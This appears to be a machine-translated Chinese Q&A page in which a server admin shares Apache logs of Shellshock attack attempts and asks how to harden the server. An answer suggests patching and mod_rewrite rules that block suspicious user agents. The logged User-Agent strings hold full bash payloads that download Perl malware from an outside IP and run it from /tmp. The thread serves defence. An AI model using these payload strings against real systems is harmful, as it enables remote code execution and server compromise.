服务器 Gind.cn
  1. 服务器 Gind.cn
  3. 用“hello”作为URL的Apache 404错误
Intereting Posts
我如何代理传递一个URL在Nginx的位置匹配是一个URL和代理传递有另一个URL 使用允许使用openLDAPencryption证书 保护清漆上的热链接 禁用宽容的SELinux setroubleshoot浏览器通知？ Windows Server 2008内置备份问题 AWS ELB在添加节点时是否应用运行状况检查 802.11g WiFi足够用于2Mbpsvideo会议吗？ 让Opera Mini（在OS X上的Microemulator中）击中本地networking 我怎样才能让nginx识别其名称中有空格的目录？ 无法连接到工作互联网的Centos7服务器 – 不能ping，SSH等 Apache2.4 mod_rewrite不会将我redirect到基于访问域的subdir SystemD SysV生成器和挂载 在Intel NIC上创build虚拟networking后，在Hyper-V上发生蓝屏 在BIND9中自动增加一个区域文件的序列号 radclient ::无法findIP地址

用“hello”作为URL的Apache 404错误

如果发生404错误，我的networking服务器会通过电子邮件发送给我 我只有像http://www.example.com/administrator等常用的404。

但最近我不断收到http://www.example.com/hello的请求。 我似乎从世界各地得到他们。 

 185.63.188.120 - - [21/Dec/2015:08:35:54 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl GNUFISH;rm -rf /tmp/GNUFISH*\"" 185.63.188.120 - - [21/Dec/2015:08:35:55 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl GNUFISH;rm -rf /tmp/GNUFISH*\"" 185.63.188.120 - - [21/Dec/2015:16:17:11 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl GNUFISH;rm -rf /tmp/GNUFISH*\"" 185.63.188.120 - - [21/Dec/2015:16:17:12 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl GNUFISH;rm -rf /tmp/GNUFISH*\"" 172.246.105.114 - - [22/Dec/2015:08:25:12 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/cax;curl -O http://188.138.41.134/cax;wget http://188.138.41.134/cax;perl /tmp/cax*;perl cax;rm -rf /tmp/cax*\"" 172.246.105.114 - - [22/Dec/2015:08:25:13 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/cax;curl -O http://188.138.41.134/cax;wget http://188.138.41.134/cax;perl /tmp/cax*;perl cax;rm -rf /tmp/cax*\"" 80.248.216.11 - - [22/Dec/2015:16:33:41 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/BASHSALAM;wget http://188.138.41.134/BASHSALAM -O /tmp/BASHSALAM;wget http://188.138.41.134/BASHSALAM;perl BASHSALAM;perl BASHSALAM;rm -rf /tmp/BASHSALAM*\"" 80.248.216.11 - - [22/Dec/2015:16:33:42 -0500] "GET /hello HTTP/1.0" 403 1809 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/BASHSALAM;wget http://188.138.41.134/BASHSALAM -O /tmp/BASHSALAM;wget http://188.138.41.134/BASHSALAM;perl BASHSALAM;perl BASHSALAM;rm -rf /tmp/BASHSALAM*\"" 185.63.188.120 - - [22/Dec/2015:22:12:45 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl GNUFISH;rm -rf /tmp/GNUFISH*\"" 185.63.188.120 - - [22/Dec/2015:22:12:46 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl GNUFISH;rm -rf /tmp/GNUFISH*\"" 185.63.188.120 - - [23/Dec/2015:16:56:56 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/iod.exe;curl -O http://188.138.41.134/iod.exe;wget http://188.138.41.134/iod.exe;perl /tmp/iod.exe*;perl iod.exe;rm -rf /tmp/iod.exe*\"" 185.63.188.120 - - [23/Dec/2015:16:56:57 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/iod.exe;curl -O http://188.138.41.134/iod.exe;wget http://188.138.41.134/iod.exe;perl /tmp/iod.exe*;perl iod.exe;rm -rf /tmp/iod.exe*\""

我意识到这是对我的服务器（服务器修补）的shellshock攻击尝试。

我的问题是：我如何阻止这类攻击？ 除了修补bash，还有什么我应该做的硬化我的networking服务器？ 有没有人看到这些在他们的Apache日志？

我发现在攻击者身上非常鬼鬼祟祟的是，在他们的URL中使用“hello”使得Google很难find答案。 你会得到很多无用的结果。

如果你的系统是最新的，你不必担心。

你可以制定自定义的规则，以防止大多数的networking机器人攻击，例如这是我的： 

 RewriteCond %{HTTP_USER_AGENT} ^-?$|curl|perl|python [NC,OR] RewriteCond %{REQUEST_METHOD} !^(GET|HEAD|POST)$ [OR] RewriteCond %{REQUEST_URI} !^/ [OR] RewriteCond %{HTTP_REFERER} "!^$|^http" RewriteRule .* - [END,R=406]

它会阻止大多数攻击机器人可以testing违规之前：

  • 阻止空的用户代理或可疑代理
  • 限制请求GET HEAD和POST
  • 阻止不以/开头的请求（如果您不使用服务器作为代理，则所有请求都应以/开头）
  • 阻止无效的REFERER的请求

我使用代码406，但你可以改变任何其他你喜欢的。

如果您需要更多关于漏洞利用的信息：